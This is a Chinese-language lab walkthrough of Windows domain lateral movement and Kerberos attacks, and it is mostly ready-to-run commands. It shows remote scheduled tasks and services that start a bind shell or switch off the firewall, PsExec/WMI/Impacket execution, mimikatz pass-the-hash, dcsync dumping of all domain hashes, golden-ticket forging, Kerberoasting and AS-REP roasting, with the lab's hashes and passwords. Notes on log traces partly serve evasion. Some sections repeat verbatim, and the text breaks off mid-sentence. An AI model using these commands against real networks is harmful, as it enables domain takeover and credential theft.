计划任务使用VPN和socks方式执行方式相同。 一般来说,需要获取到管理员的凭据才可以进行计划任务的执行。 通过搭建SMB服务器或者建立共享连接,使目标机器下载运行脚本,然后建立计划任务来执行脚本加载木马等。 当目标系统版本<window2012时,使用at: net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接 copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器 at \\192.168.3.21 15:47 c:\add.bat #添加计划任务 当目标系统版本>=windows2012时,使用schtasks: net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接 copy add.bat \\192.168.3.32\c$ #复制文件到其C盘 schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件 /s:指定要链接的系统;/ru:指定计划任务运行的用户权限;/tn:指定创建的计划任务的名称; /sc:指定计划任务执行的频率;/tr:指定计划任务运行的程序路径;/F:如果指定任务存在,则强制创建; /mo:指定计划任务执行周期; schtasks /query /s 10.10.10.10 /TN c #查看计划任务c状态 schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务 schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务 注意计划任务执行的程序是在后台执行,没有回显。 在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。 计划任务的添加、删除、执行等操作也都是在目标主机中有所体现。 Microsoft-Windows-TaskScheduler/Operational:这个事件日志记录了计划任务的操作、创建、修改和删除等活动。你可以在Windows事件查看器(Event Viewer)中找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational。Microsoft-Windows-TaskScheduler/Maintenance:这个事件日志用于记录计划任务的执行情况,包括任务的开始、完成和错误信息等。同样,在Windows事件查看器中,你可以找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Maintenance。安全性考虑:计划任务虽然是在远程执行,但是会在目标主机建立一个计划任务进程,并且该进程也会在目标主机执行文件,这些行为都会在目标主机留下日志记录,因此较为危险。 系统服务使用VPN和socks方式执行方式相同。 还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或者命令。 这样的方式需要两端主机的管理员权限。 sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序 sc \\10.10.10.10 create bindshell binpath= "c:\bind.exe" 注意这里的格式,“=”后面是必须空一格的,否则会出现错误。 启动服务 sc \\10.10.10.10 start bindshell 删除服务 sc \\[host] delete [servicename] #删除服务 我们还可以通过设置服务来关闭防火墙: sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\WIN-ENS2VR5TR3N start unablefirewall 在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。 系统服务方面的日志也会留下痕迹。 安全性考虑:使用创建系统服务的方式,会在远程主机上创建服务,会在目标主机留下日志记录,因此较为危险。 PSEXEC使用VPN和socks方式执行方式相同。 psTools psexec是通过SMB连接到服务端的Admin$共享,并释放名为“psexesvc.exe”的二进制文件,然后注册名为“PSEXEC”服务,当命令执行时会通过该服务启动相应的程序执行命令并回显。运行结束后PSEXESVC服务会被删除。 因此,运行psexec需要的条件: 1.目标主机开启Admin$共享; 2.开启139或者445端口,以运行SMB; 3.需要目标主机的权限,创建服务; PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -i -s cmd.exe -accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框 -u:用户名 -p:密码 -s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell impacket包 Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。 python psexec.py [[domain/] username [: password] @] [Target IP Address] python psexec.py VVVV1/admins:User\!@#[email protected] # 通过哈希密码连接获得目标域用户交互式shell python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] python文件和exe文件的命令相同。 使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。 事件ID:7045 使用官方的PSEXEC TOOLS 使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用) 安全性分析:psexec在执行时不仅会上传一个文件,还会创建一个服务,这些都是会被目标主机进行日志记录的,因此比较危险。 WMI使用VPN和socks方式执行方式相同。 WMI的全名为(Windows Management Instrumentation,Windows管理规范),用户可以通过WMI管理本地和远程的计算机。WMI使用的协议是DCOM(分布式组件对象模型)和WinRM(Windows远程管理)。 运行WMI需要的条件: 1.远程主机的WMI服务为开启状态; 2.双方主机打开并放行135端口; 在windows上可以使用wmic.exe和PowerShell Cmdlet来使用WMI数据和执行WMI方法。 wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 // wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 查询远程进程信息 wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief wmic命令执行没有回显,因此要将结果写入到txt中 wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt" wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt" wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe" // /node:指定将对其进行操作的服务器 在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话,wmic远程执行命令在正常情况是不会产生日志,只有打开命令行审核功能,在使用wmic命令执行任何操作时,相关的事件将被记录在Windows事件日志中。 DCOM利用使用VPN和socks方式执行方式相同。 https://www.freebuf.com/articles/web/293280.html WinRM利用使用VPN和socks方式执行方式相同。 http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_4124.html WinRM是通过执行WS-management协议来实现远程管理的,允许处于同一个网络内的Windows计算机彼此之间相互访问和交换信息,对应的端口是5985。 在windows-2008以上版本的服务器中,WinRM服务才会自动启动,在使用WinRM服务进行横向移动时,需要拥有远程主机的管理员凭据。 安装WinRM服务 1、查看是否开启winrm winrm e winrm/config/listener 如果报错说明没有开启 2、开启服务 要在管理员模式下,使用CMD。因为Powershell会无法执行 winrm quickconfig 会有两个问题,都输入“y”即可 3、winrm service设置auth winrm set winrm/config/service/auth "@{Basic="true"}" 4、为winrm service 配置加密方式为允许非加密(这个不配置,远程连接会出错) winrm set winrm/config/service "@{AllowUnencrypted="true"}" 5、查看winrm配置 winrm get winrm/config 配置TrustedHosts winrm set winrm/config/client @{TrustedHosts="10.10.10.10"} #信任主机10.10.10.10 Set-Item WSMan:localhost\client\trustedhosts -value * #powershell 信任所有主机 命令执行 winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "whoami" winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "cmd" 在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话,winRM远程执行命令在正常情况是不会产生日志。 linux进行横向渗透一般在linux中进行横向渗透,使用Impacket 工具包进行渗透,其中为python脚本。 wmiexec.py使用VPN和socks方式执行方式相同。 它会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。 python wmiexec.py [[domain/] username [: password] @] [Target IP Address] python wmiexec.py VVVV1/admins:User\!@#[email protected] (注意:密码中如果有!,需要将!进行转义) python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] 在域控主机会留下登录的日志,但是在socks隧道的客户端主机不会留下登录的日志。 psexec.py使用VPN和socks方式执行方式相同。 Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。 python psexec.py [[domain/] username [: password] @] [Target IP Address] python psexec.py VVVV1/admins:User\!@#[email protected] # 通过哈希密码连接获得目标域用户交互式shell python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] 使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。 事件ID:7045 使用官方的PSEXEC TOOLS 使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用) smbexec.py使用VPN和socks方式执行方式相同。 # 通过明文密码连接获得目标本地用户交互式shell python smbexec.py .VVVV1/admins:User!@#[email protected] 通过哈希密码连接获得目标域用户交互式shellpython smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] 连接域控的话,会在域控上产生登录日志,不会在搭建socks隧道的客户端产生日志。 并且,执行smbexec会上传一个bat文件,并且开启一个服务BTOBTO来执行命令并且将bat文件删除,达到清理痕迹的作用。运行服务的日志也会记录在主机的日志中。 atexec.py使用VPN和socks方式执行方式相同。 通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。 python atexec.py VVVV1/admins:User!@#[email protected] "whoami" python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami" 使用atexe.py脚本会自动生成计划任务,因此在日志中也会有体现。 dcomexec.py使用VPN和socks方式执行方式相同。 前提条件:135端口、445端口 135端口用于连接DCOM,445端口负责获取命令执行结果。 dcomexec.py 脚本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 对象。 python dcomexec.py VVVV1/admins:User!@#[email protected] "whoami" python dcomexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami" 在域控会有登录的日志体现。 Windows进行横向渗透使用Impacket 工具包的exe版本,执行命令的语法与上面相同。 执行脚本所留下的日志痕迹也与上文中的类似。 哈希传递攻击mimikatz使用VPN和socks方式执行方式相同。 man1:0ec4b410903c6dc7594464f27d347497 admins: 0ec4b410903c6dc7594464f27d347497 administrator:ad5a870327c02f83cb947af6a94a4c23 ad-2016$: 99ac70cee2d4370638397a39c71db91d 使用mimikatz进行hash传递攻击,将域管理员账户的hash注入到lsass进程中。 privilege::debug sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497 sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497 sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23 sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d sekurlsa::pth /user:EXCHANGE-2016$ /domain:vvvv1.com /ntlm:a377e26f4118ba88ce1af6a4f8ac9daf 但是在socks代理的情况下,将hash注入到域外的主机中,无法解析dns,也无法知道域控的位置,只能通过指定ip的方式来进行操作。 使用dir等的操作时也会在域控中有日志体现。 sharpkatzSharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash ad5a870327c02f83cb947af6a94a4c23 在域控主机也会有登录日志体现。 密钥传递攻击https://www.freebuf.com/column/220740.html https://www.vuln.cn/6813 对于安装补丁KB2871997之后的机器,经过测试,本地管理员组中,只有administrator账户可以进行NTML-HASH传递,其他的账户包括非administrator的本地管理员都无法使用NTLM-HASH传递。 当然非administrator的本地管理员PassThe Hash失败的原因其实是由于远程访问和UAC的限制。 在版本windows servers 2012 R2之后,系统默认安装该补丁。Windows Server 2012 R2 的版本号为 6.3。因此,如果您的操作系统版本号大于 6.3,则可以判断它大于 Windows Server 2012 R2。 远程访问和UACUser Account Control and remote restrictions - Windows Server 根据微软官方关于远程访问和用户帐户控制的相关文档可以了解到,UAC为了更好的保护Administrators组的帐户,会在网络上进行限制。 在使用本地用户进行远程登录时不会使用完全管理员权限(fulladministrator),但是在域用户被加入到本地管理员组之后,域用户可以使用完全管理员(fulladministrator)的AccessToken运行,并且UAC不会生效。 这样就解释了为什么在打上补丁之后,本地管理员除了administrator可以进行连接之外,其他管理员无法进行连接(如果一个域内普通账户,加入了本地管理员组的话也是可以进行连接的)。 当我们使用本地管理员Administrator账户进行NTLM-HASH传递的时候,可以直接传递成功。 sekurlsa::pth /user:administrator /domain:WEB-2012 /ntlm:b025cd380141ba05de422efcef9bab2f 但是使用本地管理员组中的admin账户进行NTLM-HASH传递的时候,无法成功。 sekurlsa::pth /user:admin /domain:WEB-2012 /ntlm:0ec4b410903c6dc7594464f27d347497 由此可见在上面的实验中administrator能够成功PTH,而本地管理员用户admin无法成功,是因为以admin的身份发起的请求被UAC拒绝。 Administrator用户成功的原因同样是因为UAC中的一项配置:FilterAdministratorToken。 Administrator账户启用UAC限制修改组策略选择 计算机配置->Windows设置->安全设置->本地策略->安全选项 发现当我们安装补丁后,下图选项默认开启。 我们直接选择启用该选项即可。 发现administrator账户已经无法使用NTLM-HASH传递了。 FilterAdministratorTokenhttps://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd835564(v=ws.10) 在UAC组策略设置和注册表项设置的官方文档中可以看到相关的描述,关于UAC的注册表中一个注册表键值为FilterAdministratorToken,且在Windows Server 2008默认为Disable。 官方文档中我们可以看出,中国内置管理员账户就是Administrator账户。 之所以Administrator用户成功传递HASH的原因就与这一项注册表有关,默认情况下FilterAdministratorToken的值为0(distabled),UAC不会对administrator账户进行限制。 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 如果想要关闭Administrator远程访问,直接将FilterAdministratorToken启用即可,修改成1。 修改后立即生效,administrator账户也无法远程访问。 关闭UAC限制修改组策略选择 计算机配置->Windows设置->安全设置->本地策略->安全选项 发现当我们安装补丁后,下图选项默认开启。 我们直接选择禁用该选项即可。 重启后发现admin账户可以传递HASH。 LocalAccountTokenFilterPolicyhttps://learn.microsoft.com/en-US/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction 在官方文档中提到可以通过修改注册表中LocalAccountTokenFilterPolicy选项的键值来进行更改禁用UAC。 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 如果LocalAccountTokenFilterPolicy注册表项不存在可以直接新建一条,并将值设置为1,LocalAccountTokenFilterPolicy的值默认为0(开启远程限制),为1时将关闭远程限制 两种方法总结: 组策略优先级>注册表 1.当组策略关闭UAC限制后,注册表LocalAccountTokenFilterPolicy设置0或1,都关闭UAC限制; 2.当组策略开启UAC限制后,注册表LocalAccountTokenFilterPolicy设置成0是开启UAC限制,设置成1是关闭UAC限制; KB2871997与PTK攻击具体的KB2871997补丁内容更新可以查看下面的链接了解。 https://www.freebuf.com/column/220740.html 这里我们主要回归到KB2871997补丁对我们使用密钥传递攻击带来的影响。 KB2871997补丁其中一项:支持“ProtectedUsers”组 “ProtectedUsers”组是WindowsServer 2012 R2域中的安全组,“ProtectedUsers”组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密。 https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash “受保护的用户”组支持(强制Kerberos身份验证以实施AES加密) 1.当“域功能级别”设置为Windows Server 2012 R2时,将创建“受保护的用户”组。 2.受保护的用户组中的帐户只能使用Kerberos协议进行身份验证,拒绝NTLM,摘要式身份验证和CredSSP。 3.Kerberos拒绝DES和RC4加密类型进行预身份验证-必须将域配置为支持AES或更高版本。 4.不能使用Kerberos约束或不受约束的委托来委托受保护用户的帐户。 5.受保护的用户可以使用“身份验证策略”很好地工作。 由上文中我们可以了解到,在更新补丁KB2871997后,支持AES加密的凭据进行传递,且走的协议为kerberos协议。 sekurlsa::ekeys sekurlsa::pth /user:administrator /domain:vvvv1.com /aes256:23a6b51c13d6630cc8a3eb8f4e6966f15e51aeb8ceec190fb280607e413ebd9d 经过测试,windows10无法使用PTK密钥传递 另外,因为是走的kerberos协议,那么只能通过域名进行连接,无法使用ip进行连接。 在windows中的socks代理的环境下,也无法使用PTK,因为proxifier代理软件无法远程解析DNS,就无法使用kerberos认证,就无法使用PTK传递。 写到这里,我们发现PTK密钥传递攻击实际上是比较鸡肋的一个功能,基于kerberos认证,但是如果获取到的是本地管理员的权限,但是导出本地的hash信息中不会存在AES加密的kerberos凭据,因为kerberos认证只在域内进行使用,本地不会使用kerberos认证,那么就不会存在aes加密的kerberos凭据。只能获取域内账户的凭据才能通过AES加密的凭据进行PTK。但是从上文可以知道,实际上域内账户并不会被该补丁限制,那就不需要使用AES传递,而是直接使用NTLM-HASH进行传递攻击即可。 虽然PTK方法用处比较小,但是存在必然有它的原因。当我们遇到NTLM认证被禁用的情况下,PTK攻击的重要性就出现了,可以直接使用AES加密的凭据进行传递攻击以获得权限。 黄金票据krbtgt账户 krbtgt是一个特殊的账户,它是用于Kerberos身份验证服务的关键账户。该账户的权限是非常高的,它拥有颁发和验证客户端服务票据所需的密钥和证书。 使用krbtgt账户主要有两个方面的操作: 颁发服务票据:krbtgt账户可以使用其密钥和证书为其他服务账户颁发服务票据。服务票据用于客户端与服务端之间的互相认证和授权。验证服务票据:krbtgt账户还负责验证客户端发来的服务票据的有效性和真实性。验证过程需要使用krbtgt账户的密钥和证书进行解密和比对。kerberos认证流程 https://zhuanlan.zhihu.com/p/266491528 在日志中我们也可以看出kerberos认证流程 如果一个正确的域内用户进行kerberos认证,则会产生如下五条日志(3号日志为验证ST,也就是用户权限PAC) 如果是域内无权限账户进行kerberos认证,则不会产生4号日志,因为权限不足导致无法分配权限。 如果不使用域内账户进行认证,则只会产生登录错误,审核失败的日志,不会使用kerberos认证。 黄金票据因为黄金票据的原理是伪造tgt,所以只能使用kerberos认证,不能使用ntlm认证。 因此即使导入了票据,使用如下的指令也会提示没有权限。 dir \\10.10.10.10\c$ 如果把ip修改成对应的机器名或域名即可成功。 VPN环境前提需要获取到krbtgt账户的hash值,利用krbtgt账户的hash在kerberos认证过程中的第3、4步骤,通过伪造用户的TGT(包含用户相关的权限身份信息,使用krbtgt的ntlm-hash进行加密)来验证,由于服务器的不严谨,无论用户是否拥有访问服务的权限,只要TGT正确,都可以返回ST(服务票据)。 验证条件 1.拥有一个域的SID; 2.拥有krbtgt账户的hash值; 3.需要一个本地管理员用户,来执行mimikatz privilege::debug lsadump::dcsync /domain:ww1.com /user:krbtgt lsadump::dcsync /domain:ww1.com /all /csv krbtgt账户ntlm-hash:eb92dd77ca9cdadd073ae907a7c22d0d 获取你将要注入的一个普通用户的SID(去掉权限标识-500) S-1-5-21-3315874494-179465980-3412869843-500 kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi 还未注入黄金票据时,普通用户无法访问域控资源 生成黄金票据(注意要删除SID后面的标识符)/user:伪造的用户名 kerberos::golden /user:administrator /domain:ww1.com /sid:S-1-5-21-2672614020-1166804175-548711290 /krbtgt:f888308114c87fd64fef57d8907f3b46 /ticket:1.kirbi 清除原本的票据信息 kerberos::purge 加载票据 kerberos::ptt 1.kirbi 成功访问到域控资源 使用dcsync获取到域内hash lsadump::dcsync /domain:ww1.com /all /csv 接下来验证域林中子域的黄金票据具有怎么样的权限 子域控的krbtgt hash值 5521f994722ff1807d88d17dd9d19535 子域的SID S-1-5-21-3625630716-398430537-4180109759 制作黄金票据 kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi 使用子域krbtgt制作的黄金票据可以访问子域控的资源 无法访问主域控的资源,也无法访问主域的资源 也无法访问同级别子域的资源 接下来使用主域的krbtgt生成黄金票据 主域的krbtgt eb92dd77ca9cdadd073ae907a7c22d0d 主域的SID S-1-5-21-3315874494-179465980-3412869843 kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi 经过测试,发现和主域的administrator权限相同,可以访问主域和子域控的资源,但是无法访问子域成员机的资源。 接下来我们测试使用主域的krbtgt和子域的SID生成黄金票据 主域的krbtgt eb92dd77ca9cdadd073ae907a7c22d0d 子域的SID S-1-5-21-3625630716-398430537-4180109759 kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi kerberos::purge kerberos::ptt 1.kirbi 发现拥有的是childv域的管理员权限,只能访问childv域内所以资源,无法访问主域和其他同级子域的资源。 kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi 这条指令的票据没有任何权限,可能是因为krbtgt需要与参数/domain匹配。 接下来我们测试使用子域的krbtgt和主域的SID生成黄金票据 子域的krbtgt 5521f994722ff1807d88d17dd9d19535 主域的SID S-1-5-21-3315874494-179465980-3412869843 kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi 发现获取到的是主域administrator的权限,可以访问主域、子域控的资源 kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi 这条指令的票据没有任何权限,可能是因为krbtgt需要与参数/domain匹配。 使用ticketer.py实现 https://blog.csdn.net/qq_41874930/article/details/108266378 https://xz.aliyun.com/t/11877 https://paper.seebug.org/321/ 首先使用工具ticketer.py生成票据 python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator 使用 impacket 的脚本使用 ccache 文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径 export KRB5CCNAME=/path/to/ccache/file export KRB5CCNAME=/tmp/administrator.ccache echo $KRB5CCNAME 在配置好socks代理和proxychains远程解析dns之后,即可使用该票据进行高权限操作。 proxychains3 python psexec.py [email protected] -k -no-pass -codec gbk //-codec gbk 防止回弹的cmd乱码的情况出现 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。记下 chcp.com 命令返回的字符编码代码页。使用 Python 的 codecs 库中的标准编码列表(https://docs.python.org/3/library/codecs.html#standard-encodings)找到对应的编码名称。在运行 smbexec.py 脚本时,添加 -codec 参数,并指定与目标主机字符编码一致的编码名称。例如,如果字符编码代码页为 936,则选择 GBK 编码进行解码。(-codec gbk) socks隧道环境在socks环境中,想要解析域名对应的ip,使用Proxifier工具无法代理远程dns,因此只能通过本地进行修改host文件,本地修改host不能解决远程dns解析的问题,因为修改本地host相当于是在本地将域名和ip进行替换,远程还是相当于通过ip操作。 目前来说,windows环境下socks代理的情况下无法使用黄金票据,因为windows代理软件Proxifier无法解决远程dns解析的问题。如果是在域外的一台与域内同网段的机器操作,自己配置了dns解析,就可以使用黄金票据了。(与kerberos协议无关,ntlm协议和kerberos协议是走tcp的,只要网络是通的,那就可以使用ntlm和kerberos认证) 但是在linux环境下,linux代理软件proxychains可以远程解析dns,因此可以使用黄金票据。 使用ticketer.py实现 https://paper.seebug.org/321/ 首先使用工具ticketer.py生成票据 python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator 使用 impacket 的脚本使用 ccache 文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径 export KRB5CCNAME=/path/to/ccache/file export KRB5CCNAME=/tmp/administrator.ccache echo $KRB5CCNAME 在配置好socks代理和proxychains远程解析dns之后,即可使用该票据进行高权限操作。 proxychains3 python psexec.py [email protected] -k -no-pass -codec gbk //-codec gbk 防止回弹的cmd乱码的情况出现 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。记下 chcp.com 命令返回的字符编码代码页。使用 Python 的 codecs 库中的标准编码列表(https://docs.python.org/3/library/codecs.html#standard-encodings)找到对应的编码名称。在运行 smbexec.py 脚本时,添加 -codec 参数,并指定与目标主机字符编码一致的编码名称。例如,如果字符编码代码页为 936,则选择 GBK 编码进行解码。(-codec gbk) Kerberosast攻击https://www.cnblogs.com/Hekeats-L/p/16800918.html https://zhuanlan.zhihu.com/p/475122515 在使用 Kerberos协议进行身份验证的网络中,必须在内置账号(Networkservice, Localsystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。 但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。 **Kerberos身份验证使用sPN将服务实例与服务登录账号关联起来。**如果域中的计算机上安了多个服务实例,那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,那么给定的服务实例可以有多个SPN。例如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所在主机的每个名称或别名注册一个SPN。 根据Kerberos协议,当用户输人自己的账号和密码登录活动目录时,域控制器会对账号和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户(作为用户访问资源时的身份凭据) 下面通过一个例子来说明。当用户需要访问MSSQL服务时,系统会以当前用户身份向城制器查询SPN为“MSSQL”的记录。找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC.KDC中的身份验证量务(AS)对TGT进行解密。 确认无误后,由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的地址发送给用户,用户使用该票据即可访问MSSQL服务。 而Kerberosast攻击主要利用了TGS_REP阶段使用服务的NTLM Hash返回的加密数据,对于域内的任何主机,都可以通过查询SPN,向域内的所有服务请求ST,然后进行暴力破解。 具体的利用过程 1.拥有一个域内普通用户的hash(拥有正确的TGT); 2.查询SPN,向域内的所有服务请求ST; 3.因为KDC不会验证权限,因此无论是否拥有访问该服务的权限,只要TGT正确,TGS服务器都会返回该服务对应的服务票据ST; 4.使用工具破解服务HASH; 使用工具Rubeus.exe Rubeus.exe kerberoast 使用Impacket工具包的GetUserSPNs.py python3 GetUserSPNs.py vvvv1.com/administrator:Password1 -dc-ip 10.10.24.188 -request 导出hash后使用hashcat进行解密即可 hashcat -m 13100 -a 0 hash.txt Pass.txt 破解服务帐户密码后,根据服务帐户是否为域管理员,有多种方法可以窃取数据。如果服务帐户是域管理员,你将拥有类似于银票的控制权,并且可以收集重要的数据,例如转储 NTDS.dit。如果服务帐户不是域管理员,你可以使用它来登录其他系统获得立足点或者进行权限升级,或者你可以使用破解的密码来攻击其他服务和域管理员帐户。 AS-REP Roasting攻击https://www.cnblogs.com/Hekeats-L/p/16800918.html https://zhuanlan.zhihu.com/p/474523090 https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting 预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。 正常情况下,在上图中,在kerberos认证第一步中,会向AS发送用户名和密码,并且向AS发送一个AS_REQ,这个AS_REQ里包含了使用Client的NTLM-Hash加密的时间戳以及Client-info、Server-info等数据,以及一些其他信息。然后AS会去检查客户端ID是否在数据库中,如果在,则使用其hash进行解密比对,比对成功,则发送两条信息给客户端,一条是使用客户端HASH加密的Session Key等信息,另一条就是使用krbtgt HASH加密的票据TGT。 而这个HASH比对验证的过程就是预身份验证,如果取消掉预身份验证,只要使用的是KDC数据库中存在的用户名,那么就会直接返回使用客户端HASH加密的Session Key等信息,可以进行离线爆破。 AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。 使用工具Rubeus.exe Rubeus.exe asreproast https://hashcat.net/wiki/doku.php?id=example_hashes 查找hashcat密码,为了能让hashcat识别,我们要在$krb5asrep后面添加一个$23 hashcat -m 18200 hash.txt passwd.txt--force 还有工具ASREPROAST.ps1 Powershell -ExecutionPolicy Bypass Import-Module .\ASREPRoast.ps1 Invoke-ASREPRoast Get-ASREPHash -UserName man03 -Domain vvvv1.com 还有工具Impacket中的GetNPUsers.py python3 GetNPUsers.py -dc-ip 10.211.55.30 hacker.lab/ -usersfile users.txt -format john -outputfile hashes 尝试该工具会在日志中生成4678的TGT请求记录 在实战当中很少见会开启这个选项的,所以我们在内网渗透中一般是用来做权限维持。 需要枚举域内用户是否存在开启选项 1. 可以使用PowerView、kerbrute等工具枚举出存在开启选项”Do not require Kerberos preauthentication”的用户 2. 导出hash并破解 需要先获得对指定用户的GenericWrite权限,利用思路如下:开启用户选项”Do not require Kerberos preauthentication”导出hash并破解关闭用户选项”Do not require Kerberos preauthentication”**总结:****与Kerberoasting和黄金票据的区别** · AS-REP Roasting:获取用户hash然后离线暴力破解 · Kerberoasting:获取应用服务hash然后暴力破解 · 黄金票据:通过假冒域中不存在的用户来访问应用服务 白银票据https://www.freebuf.com/articles/others-articles/329728.html 如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。 在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。 通过 Session Key 解密 